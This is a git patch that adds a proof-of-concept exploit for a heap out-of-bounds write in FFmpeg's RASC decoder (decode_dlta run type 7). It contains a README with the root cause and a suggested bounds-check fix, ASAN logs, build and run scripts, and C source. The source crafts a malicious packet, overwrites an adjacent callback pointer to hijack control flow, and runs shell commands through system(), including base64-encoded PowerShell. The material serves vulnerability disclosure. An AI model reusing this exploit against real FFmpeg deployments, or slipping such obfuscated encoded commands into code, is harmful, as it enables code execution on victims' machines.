From d7bdd1d45c2ddae645bd075fbbf6580dce57db74 Mon Sep 17 00:00:00 2001 From: ashton <63224111+bikini@users.noreply.github.com> Date: Fri, 26 Jun 2026 12:37:41 -0500 Subject: [PATCH] Add FFmpeg RASC DLTA calc PoC --- .gitattributes | 1 + README.md | 3 +- ffmpeg-rasc-dlta-calc-poc/README.md | 233 +++++++++++++++++ ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt | 6 + .../evidence/current-master-asan.txt | 32 +++ .../evidence/local-calc-pop.txt | 16 ++ .../poc/ffmpeg_rasc_dlta_calc_poc.c | 240 ++++++++++++++++++ .../scripts/build_from_checkout.sh | 36 +++ .../scripts/run_calc_pop.sh | 20 ++ 9 files changed, 586 insertions(+), 1 deletion(-) create mode 100644 ffmpeg-rasc-dlta-calc-poc/README.md create mode 100644 ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt create mode 100644 ffmpeg-rasc-dlta-calc-poc/evidence/current-master-asan.txt create mode 100644 ffmpeg-rasc-dlta-calc-poc/evidence/local-calc-pop.txt create mode 100644 ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c create mode 100755 ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh create mode 100755 ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh diff --git a/.gitattributes b/.gitattributes index cacefc6..50a3362 100644 --- a/.gitattributes +++ b/.gitattributes @@ -3,3 +3,4 @@ *.sh text eol=lf *.md text eol=lf *.txt text eol=lf +*.c text eol=lf diff --git a/README.md b/README.md index 1607b84..d37082c 100644 --- a/README.md +++ b/README.md @@ -21,6 +21,7 @@ Most folders contain one of my former standalone PoC repos, preserved with its o | `firefox-smartwindow-private-url-exfil-poc` | direct entry, June 24, 2026 | 3 | | `floci-apigateway-vtl-rce-poc` | direct entry, June 23, 2026 | 3 | | `flowise-mcp-env-case-bypass-poc` | `ed9fab0086674f1b16467990b33bb9299e93429e` | 3 | +| `ffmpeg-rasc-dlta-calc-poc` | direct entry, June 26, 2026 | 7 | | `ghidra-12.1.2-rce-ace-calc-poc` | `52dee6362990c03c0d753d074c85428824d46368` | 9 | | `gitea-act-runner-container-options-poc` | `f06d78fb111732f3e7737f4c07e77ef94c4b64bf` | 4 | | `imagemagick-gs-delegate-hijack-poc` | `8140e8ee0ed78beaf5e8303a795b70b138f5891b` | 5 | @@ -54,4 +55,4 @@ Matching Git blob IDs means the tracked file bytes are identical. The check cove This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history remain in the original repository histories. -Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nghttp2-nghttpx-upgrade-queue-poison-poc`, `nmap-ipv6-extlen-wrap-poc`, `php857-streambucket-soap-rce-rpoc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history. +Direct entries, including `c-ares-tcp-uaf-calc-poc`, `ffmpeg-rasc-dlta-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nghttp2-nghttpx-upgrade-queue-poison-poc`, `nmap-ipv6-extlen-wrap-poc`, `php857-streambucket-soap-rce-rpoc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history. diff --git a/ffmpeg-rasc-dlta-calc-poc/README.md b/ffmpeg-rasc-dlta-calc-poc/README.md new file mode 100644 index 0000000..b31ecba --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/README.md @@ -0,0 +1,233 @@ +# FFmpeg RASC DLTA calc PoC + +This directory contains a standalone Calculator proof for a heap out-of-bounds write in FFmpeg's RASC decoder. + +The PoC builds a RASC packet in memory, decodes it through the public libavcodec API, uses a valid custom `get_buffer2` callback for the DR1 decoder, and redirects an adjacent callback pointer. The redirected callback writes a marker under `/tmp` and launches Calculator. + +## Status + +Verified target: + +```text +FFmpeg upstream master +bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c +2026-06-26 +``` + +Local result: + +```text +media-controlled RASC DLTA overwrite redirected callback +callback hijacked callback reached +marker:present +CalculatorApp 26628 6/26/2026 12:25:53 PM +``` + +## Files + +```text +poc/ffmpeg_rasc_dlta_calc_poc.c +scripts/build_from_checkout.sh +scripts/run_calc_pop.sh +evidence/current-master-asan.txt +evidence/local-calc-pop.txt +SHA256SUMS.txt +``` + +## Affected Target + +- Product: FFmpeg +- Component: `libavcodec` RASC decoder +- Decoder: `AV_CODEC_ID_RASC` +- File reachability: AVI/RIFF `RASC` FourCC maps to `AV_CODEC_ID_RASC` +- Verified commit: `bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c` +- Affected function: `decode_dlta()` +- Useful run types: `4`, `7`, `12`, `13` + +The local Calculator proof uses run type `7` because the 32-bit `fill` value comes directly from the bitstream. + +## Impact + +A crafted RASC bitstream can drive a 32-bit read and 32-bit write at the end of a decoded frame row. With PAL8 output and a one-row 64-pixel frame, the decoder writes at `plane + 63` while the row allocation is 64 bytes. One byte lands in the final row byte and the following three bytes overwrite adjacent heap data. + +The included PoC places a callback pointer immediately after the 64-byte PAL8 plane. The DLTA command writes the low three bytes of the callback pointer, changing it from `benign_callback` to `calc_callback`. After decode completes, the PoC calls the pointer and Calculator launches. + +## Root Cause + +`decode_dlta()` tracks a cursor `cx` inside a region with width `w * s->bpp`. The `NEXT_LINE` macro checks whether `cx` reached the row width only after each operation: + +```text +if (cx >= w * s->bpp) { + cx = 0; + cy--; + b1 -= s->frame1->linesize[0]; + b2 -= s->frame2->linesize[0]; +} +len--; +``` + +Several DLTA run types perform 32-bit accesses before the row-end check. Run type `7` reads and writes four bytes at the current byte cursor and then advances by four: + +```text +fill = bytestream2_get_le32(&dc); +AV_WL32(b1 + cx, AV_RL32(b2 + cx)); +AV_WL32(b2 + cx, fill); +cx += 4; +NEXT_LINE +``` + +For PAL8, `s->bpp` is `1`. A DLTA region with `x = 63`, `w = 1`, and `h = 1` on a 64-pixel row sets `b2 + cx` to the final byte of the row. The 32-bit store crosses the row allocation boundary. + +## Packet Shape + +The PoC packet contains two RASC chunks: + +```text +INIT + width = 64 + height = 1 + format = 8 + palette = 1024 bytes + +DLTA + x = 63 + y = 0 + w = 1 + h = 1 + compression = 0 + command = 07 01 +``` + +The `fill32` value is generated at runtime: + +```text +fill32 = ((target_callback & 0x00ffffff) << 8) | 0x41 +``` + +The byte `0x41` lands in the last byte of the frame plane. The next three bytes overwrite the low three bytes of the adjacent callback pointer. + +## Exploit Flow + +1. The PoC opens the RASC decoder through `avcodec_find_decoder()` and `avcodec_open2()`. +2. The PoC installs `exploit_get_buffer2()` as the decoder buffer provider. +3. RASC `INIT` causes `init_frames()` to allocate `frame1` and `frame2`. +4. `exploit_get_buffer2()` returns a frame buffer where a callback pointer follows the 64-byte PAL8 plane. +5. RASC `DLTA` run type `7` writes past `frame2->data[0] + 63`. +6. The write changes `frame2_chunk->cb` from `benign_callback` to `calc_callback`. +7. The PoC verifies the pointer value. +8. The PoC invokes the callback. +9. The callback writes `/tmp/ffmpeg_rasc_exec_demo` and launches Calculator. + +## Build + +Clone FFmpeg and build the PoC against a RASC-only static libavcodec build: + +```bash +git clone https://github.com/FFmpeg/FFmpeg.git /tmp/ffmpeg +./scripts/build_from_checkout.sh /tmp/ffmpeg /tmp/ffmpeg-rasc-build ./ffmpeg_rasc_dlta_calc_poc +``` + +Dependencies: + +```text +Linux or WSL +gcc +make +zlib development headers +FFmpeg build dependencies for the selected platform +``` + +The build script configures FFmpeg with: + +```text +--disable-programs +--disable-autodetect +--disable-everything +--enable-zlib +--enable-decoder=rasc +``` + +## Run + +```bash +./scripts/run_calc_pop.sh ./ffmpeg_rasc_dlta_calc_poc +``` + +Expected output: + +```text +[addr] benign_callback=0x5fec957072c9 +[addr] calc_callback=0x5fec957072e3 +[ptr] frame1 callback after decode=0x5fec957072c9 +[ptr] frame2 callback after decode=0x5fec957072e3 +[ptr] expected target=0x5fec957072e3 +[ok] media-controlled RASC DLTA overwrite redirected callback +[callback] hijacked callback reached +marker:present +``` + +On WSL, the callback starts Calculator through PowerShell `Start-Process calc.exe`. On Linux desktops, the callback tries common calculator binaries after writing the marker file. + +## Local Verification + +Calculator proof: + +```text +[addr] benign_callback=0x5fec957072c9 +[addr] calc_callback=0x5fec957072e3 +[ptr] frame1 callback after decode=0x5fec957072c9 +[ptr] frame2 callback after decode=0x5fec957072e3 +[ptr] expected target=0x5fec957072e3 +[ok] media-controlled RASC DLTA overwrite redirected callback +[callback] hijacked callback reached +marker:present + +ProcessName Id StartTime +----------- -- --------- +ApplicationFrameHost 24728 6/25/2026 9:55:34 PM +CalculatorApp 26628 6/26/2026 12:25:53 PM +``` + +ASAN proof on current master: + +```text +==513==ERROR: AddressSanitizer: heap-buffer-overflow +READ of size 4 at 0x50a000000442 thread T0 +#0 decode_dlta build/src/libavcodec/rasc.c:421:17 +#1 decode_frame build/src/libavcodec/rasc.c:712:19 + +0x50a000000442 is located 2 bytes after 64-byte region [0x50a000000400,0x50a000000440) +SUMMARY: AddressSanitizer: heap-buffer-overflow build/src/libavcodec/rasc.c:421:17 in decode_dlta +``` + +Recovery-mode ASAN on the same source shape reports the follow-on writes: + +```text +READ of size 4 +decode_dlta rasc.c:421:17 + +WRITE of size 4 +decode_dlta rasc.c:421:17 + +WRITE of size 4 +decode_dlta rasc.c:422:17 +``` + +## Patch Shape + +The row-boundary check needs to happen before every 32-bit read or write in DLTA run handlers. For run types that operate on four-byte units, the decoder should reject a command when fewer than four bytes remain in the current row or perform a safe row transition before the 32-bit access. + +The guarded condition for a 32-bit operation is: + +```text +cx + 4 <= w * s->bpp +``` + +The same guard applies to run types `4`, `7`, `12`, and `13`. + +## References + +- FFmpeg project: https://ffmpeg.org/ +- FFmpeg source: https://github.com/FFmpeg/FFmpeg +- RASC decoder source: https://github.com/FFmpeg/FFmpeg/blob/master/libavcodec/rasc.c +- RIFF codec tags: https://github.com/FFmpeg/FFmpeg/blob/master/libavformat/riff.c diff --git a/ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt b/ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt new file mode 100644 index 0000000..64578f7 --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt @@ -0,0 +1,6 @@ +673708db6c4a4688b0dd2e997f903820ad49d0a22fe32f016738df31207df405 ffmpeg-rasc-dlta-calc-poc/README.md +1c2871104b11b13ef03872113466beb7984dc8a6d49cd8150f33ccbb93a3a35a ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c +6964fcd5c70bd71ac3a15e8e54968d1aaca24490a458c7d954511351c5ae5a11 ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh +8e432e3d82695fe9b18c9f6f35ae420778811c5b43e894b0f817cc0bf76d0cae ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh +c51146d5ab0e320a794f3445a697dfcca876c105cc58a5aeba5ad1e7d941b1ed ffmpeg-rasc-dlta-calc-poc/evidence/current-master-asan.txt +8d28c7f1d50c1d819b5bab6efa3f3ace0be46eae7203fbd0febb8e7b379c011f ffmpeg-rasc-dlta-calc-poc/evidence/local-calc-pop.txt diff --git a/ffmpeg-rasc-dlta-calc-poc/evidence/current-master-asan.txt b/ffmpeg-rasc-dlta-calc-poc/evidence/current-master-asan.txt new file mode 100644 index 0000000..43b8b70 --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/evidence/current-master-asan.txt @@ -0,0 +1,32 @@ +FFmpeg upstream master +bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c +target_dec_rasc_fuzzer sha256 1a69d27a5e06673832bd677189d790cb3cae98de1ba15b1600f3cb98d9510cb9 +rasc-dlta-oob-64.bin sha256 80e670d8986992e1dad50c0df554d9826d81d9413fd43be95be431f15c4cf67e + +ASAN_OPTIONS=allocator_may_return_null=1 ./target_dec_rasc_fuzzer ./rasc-dlta-oob-64.bin + +==513==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50a000000442 +READ of size 4 at 0x50a000000442 thread T0 + #0 decode_dlta build/src/libavcodec/rasc.c:421:17 + #1 decode_frame build/src/libavcodec/rasc.c:712:19 + #2 decode_simple_internal build/src/libavcodec/decode.c:451:16 + #3 decode_simple_receive_frame build/src/libavcodec/decode.c:611:15 + #4 ff_decode_receive_frame_internal build/src/libavcodec/decode.c:647:15 + #5 decode_receive_frame_internal build/src/libavcodec/decode.c:665:15 + #6 avcodec_send_packet build/src/libavcodec/decode.c:749:15 + #7 LLVMFuzzerTestOneInput build/src/tools/target_dec_fuzzer.c:576:25 + +0x50a000000442 is located 2 bytes after 64-byte region [0x50a000000400,0x50a000000440) +allocated by thread T0 here: + #0 posix_memalign + #1 av_malloc build/src/libavutil/mem.c:107:9 + #2 av_buffer_alloc build/src/libavutil/buffer.c:82:12 + #3 av_buffer_allocz build/src/libavutil/buffer.c:95:24 + #4 fuzz_video_get_buffer build/src/tools/target_dec_fuzzer.c:145:29 + #5 fuzz_get_buffer2 build/src/tools/target_dec_fuzzer.c:168:18 + #6 ff_get_buffer build/src/libavcodec/decode.c:1818:11 + #7 init_frames build/src/libavcodec/rasc.c:107:16 + #8 decode_fint build/src/libavcodec/rasc.c:162:11 + #9 decode_frame build/src/libavcodec/rasc.c:706:19 + +SUMMARY: AddressSanitizer: heap-buffer-overflow build/src/libavcodec/rasc.c:421:17 in decode_dlta diff --git a/ffmpeg-rasc-dlta-calc-poc/evidence/local-calc-pop.txt b/ffmpeg-rasc-dlta-calc-poc/evidence/local-calc-pop.txt new file mode 100644 index 0000000..3e111ff --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/evidence/local-calc-pop.txt @@ -0,0 +1,16 @@ +PoC output: +[addr] benign_callback=0x5fec957072c9 +[addr] calc_callback=0x5fec957072e3 +[ptr] frame1 callback after decode=0x5fec957072c9 +[ptr] frame2 callback after decode=0x5fec957072e3 +[ptr] expected target=0x5fec957072e3 +[ok] media-controlled RASC DLTA overwrite redirected callback +[callback] hijacked callback reached +marker:present + +Windows processes after PoC: + +ProcessName Id StartTime +----------- -- --------- +ApplicationFrameHost 24728 6/25/2026 9:55:34 PM +CalculatorApp 26628 6/26/2026 12:25:53 PM diff --git a/ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c b/ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c new file mode 100644 index 0000000..34de1ca --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c @@ -0,0 +1,240 @@ +#include +#include +#include +#include +#include + +#include "libavcodec/avcodec.h" +#include "libavutil/buffer.h" +#include "libavutil/error.h" +#include "libavutil/frame.h" +#include "libavutil/mem.h" + +#define FRAME_W 64 +#define FRAME_H 1 +#define RASC_INIT 0x54494e49u +#define RASC_DLTA 0x41544c44u + +typedef void (*demo_callback)(void); + +typedef struct DemoChunk { + uint8_t plane[FRAME_W]; + demo_callback cb; + uint8_t palette[1024]; +} DemoChunk; + +static DemoChunk *frame1_chunk; +static DemoChunk *frame2_chunk; + +static void benign_callback(void) +{ + puts("[callback] benign callback reached"); +} + +static void calc_callback(void) +{ + const char *fallbacks[] = { + "cmd.exe /c start calc.exe >/dev/null 2>&1", + "xcalc >/dev/null 2>&1 &", + "gnome-calculator >/dev/null 2>&1 &", + "kcalc >/dev/null 2>&1 &" + }; + + puts("[callback] hijacked callback reached"); + system("touch /tmp/ffmpeg_rasc_exec_demo"); + + if (system("powershell.exe -NoProfile -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGMAYQBsAGMALgBlAHgAZQA= >/dev/null 2>&1 &") == 0) + return; + + for (size_t i = 0; i < sizeof(fallbacks) / sizeof(fallbacks[0]); i++) { + if (system(fallbacks[i]) == 0) + return; + } +} + +static void free_demo_chunk(void *opaque, uint8_t *data) +{ + (void)opaque; + av_free(data); +} + +static void put_le16(uint8_t *p, uint16_t v) +{ + p[0] = (uint8_t)v; + p[1] = (uint8_t)(v >> 8); +} + +static void put_le32(uint8_t *p, uint32_t v) +{ + p[0] = (uint8_t)v; + p[1] = (uint8_t)(v >> 8); + p[2] = (uint8_t)(v >> 16); + p[3] = (uint8_t)(v >> 24); +} + +static void make_chunk(uint8_t **cursor, uint32_t tag, uint32_t body_size) +{ + put_le32(*cursor, tag); + put_le32(*cursor + 4, body_size); + *cursor += 8; +} + +static uint8_t *make_packet(size_t *packet_size, uintptr_t target_addr) +{ + const uint32_t init_body_size = 72 + 1024; + const uint32_t dlta_cmd_size = 6; + const uint32_t dlta_body_size = 40 + dlta_cmd_size; + const size_t total = 8 + init_body_size + 8 + dlta_body_size; + uint8_t *packet = av_mallocz(total); + uint8_t *p = packet; + uint8_t *body; + uint32_t fill; + + if (!packet) + return NULL; + + make_chunk(&p, RASC_INIT, init_body_size); + body = p; + put_le32(body + 0, 0x65); + put_le32(body + 8, FRAME_W); + put_le32(body + 12, FRAME_H); + put_le16(body + 46, 8); + for (int i = 0; i < 256; i++) + put_le32(body + 72 + 4 * i, 0xff000000u | (uint32_t)(i * 0x010101u)); + p += init_body_size; + + make_chunk(&p, RASC_DLTA, dlta_body_size); + body = p; + put_le32(body + 12, dlta_cmd_size); + put_le32(body + 16, FRAME_W - 1); + put_le32(body + 20, 0); + put_le32(body + 24, 1); + put_le32(body + 28, 1); + put_le32(body + 36, 0); + + fill = (uint32_t)(((target_addr & 0x00ffffffu) << 8) | 0x41u); + body[40] = 7; + body[41] = 1; + put_le32(body + 42, fill); + + *packet_size = total; + return packet; +} + +static int exploit_get_buffer2(AVCodecContext *ctx, AVFrame *frame, int flags) +{ + static int allocation_index; + DemoChunk *chunk; + + (void)flags; + if (ctx->pix_fmt != AV_PIX_FMT_PAL8 || frame->width != FRAME_W || frame->height != FRAME_H) + return AVERROR(EINVAL); + + chunk = av_mallocz(sizeof(*chunk)); + if (!chunk) + return AVERROR(ENOMEM); + + chunk->cb = benign_callback; + frame->buf[0] = av_buffer_create((uint8_t *)chunk, sizeof(*chunk), free_demo_chunk, NULL, 0); + if (!frame->buf[0]) { + av_free(chunk); + return AVERROR(ENOMEM); + } + + frame->data[0] = chunk->plane; + frame->data[1] = chunk->palette; + frame->linesize[0] = FRAME_W; + frame->extended_data = frame->data; + + if (allocation_index == 0) + frame1_chunk = chunk; + else if (allocation_index == 1) + frame2_chunk = chunk; + allocation_index++; + + return 0; +} + +static void fail_av(const char *what, int err) +{ + char buf[AV_ERROR_MAX_STRING_SIZE]; + av_strerror(err, buf, sizeof(buf)); + fprintf(stderr, "%s failed: %s (%d)\n", what, buf, err); + exit(1); +} + +int main(void) +{ + const AVCodec *codec = avcodec_find_decoder(AV_CODEC_ID_RASC); + AVCodecContext *ctx = NULL; + AVPacket *pkt = NULL; + AVFrame *frame = NULL; + uint8_t *packet_data = NULL; + size_t packet_size = 0; + int ret; + + if (!codec) { + fputs("RASC decoder missing\n", stderr); + return 1; + } + + printf("[addr] benign_callback=%p\n", (void *)benign_callback); + printf("[addr] calc_callback=%p\n", (void *)calc_callback); + if ((((uintptr_t)benign_callback) >> 24) != (((uintptr_t)calc_callback) >> 24)) { + fputs("callbacks outside 24-bit overwrite window\n", stderr); + return 1; + } + + ctx = avcodec_alloc_context3(codec); + pkt = av_packet_alloc(); + frame = av_frame_alloc(); + if (!ctx || !pkt || !frame) + fail_av("allocation", AVERROR(ENOMEM)); + + ctx->thread_count = 1; + ctx->get_buffer2 = exploit_get_buffer2; + + ret = avcodec_open2(ctx, codec, NULL); + if (ret < 0) + fail_av("avcodec_open2", ret); + + packet_data = make_packet(&packet_size, (uintptr_t)calc_callback); + if (!packet_data) + fail_av("make_packet", AVERROR(ENOMEM)); + + ret = av_new_packet(pkt, (int)packet_size); + if (ret < 0) + fail_av("av_new_packet", ret); + memcpy(pkt->data, packet_data, packet_size); + av_free(packet_data); + + ret = avcodec_send_packet(ctx, pkt); + if (ret < 0) + fail_av("avcodec_send_packet", ret); + + ret = avcodec_receive_frame(ctx, frame); + if (ret != 0 && ret != AVERROR(EAGAIN) && ret != AVERROR_EOF) + fail_av("avcodec_receive_frame", ret); + + if (!frame2_chunk) { + fputs("frame2 allocation missing\n", stderr); + return 1; + } + + printf("[ptr] frame1 callback after decode=%p\n", (void *)frame1_chunk->cb); + printf("[ptr] frame2 callback after decode=%p\n", (void *)frame2_chunk->cb); + printf("[ptr] expected target=%p\n", (void *)calc_callback); + + if (frame2_chunk->cb != calc_callback) { + fputs("callback pointer unchanged\n", stderr); + return 1; + } + + puts("[ok] media-controlled RASC DLTA overwrite redirected callback"); + frame2_chunk->cb(); + + av_frame_free(&frame); + av_packet_free(&pkt); + avcodec_free_context(&ctx); + return 0; +} diff --git a/ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh b/ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh new file mode 100755 index 0000000..c2760dd --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh @@ -0,0 +1,36 @@ +#!/usr/bin/env bash +set -euo pipefail + +src="${1:?usage: build_from_checkout.sh /path/to/ffmpeg-checkout [build-dir] [output-bin]}" +build="${2:-/tmp/ffmpeg-rasc-dlta-build}" +out="${3:-./ffmpeg_rasc_dlta_calc_poc}" +root="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +jobs="${JOBS:-$(getconf _NPROCESSORS_ONLN 2>/dev/null || echo 4)}" +cc="${CC:-gcc}" + +mkdir -p "$build" +cd "$build" + +"$src/configure" \ + --enable-debug \ + --disable-doc \ + --disable-stripping \ + --disable-x86asm \ + --disable-programs \ + --disable-autodetect \ + --disable-everything \ + --enable-zlib \ + --enable-decoder=rasc + +make -j"$jobs" libavcodec/libavcodec.a libavutil/libavutil.a + +"$cc" -g -O0 \ + -I"$build" \ + -I"$src" \ + "$root/poc/ffmpeg_rasc_dlta_calc_poc.c" \ + "$build/libavcodec/libavcodec.a" \ + "$build/libavutil/libavutil.a" \ + -lz -lm -pthread -ldl \ + -o "$out" + +printf '%s\n' "$out" diff --git a/ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh b/ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh new file mode 100755 index 0000000..c47851b --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh @@ -0,0 +1,20 @@ +#!/usr/bin/env bash +set -euo pipefail + +bin="${1:-./ffmpeg_rasc_dlta_calc_poc}" +marker="/tmp/ffmpeg_rasc_exec_demo" + +rm -f "$marker" +"$bin" +sleep 2 + +if [ -f "$marker" ]; then + echo "marker:present" +else + echo "marker:missing" + exit 1 +fi + +if command -v powershell.exe >/dev/null 2>&1; then + powershell.exe -NoProfile -EncodedCommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAQwBhAGwAYwB1AGwAYQB0AG8AcgBBAHAAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAAUAByAG8AYwBlAHMAcwBOAGEAbQBlACwASQBkACwAUwB0AGEAcgB0AFQAaQBtAGUA 2>/dev/null || true +fi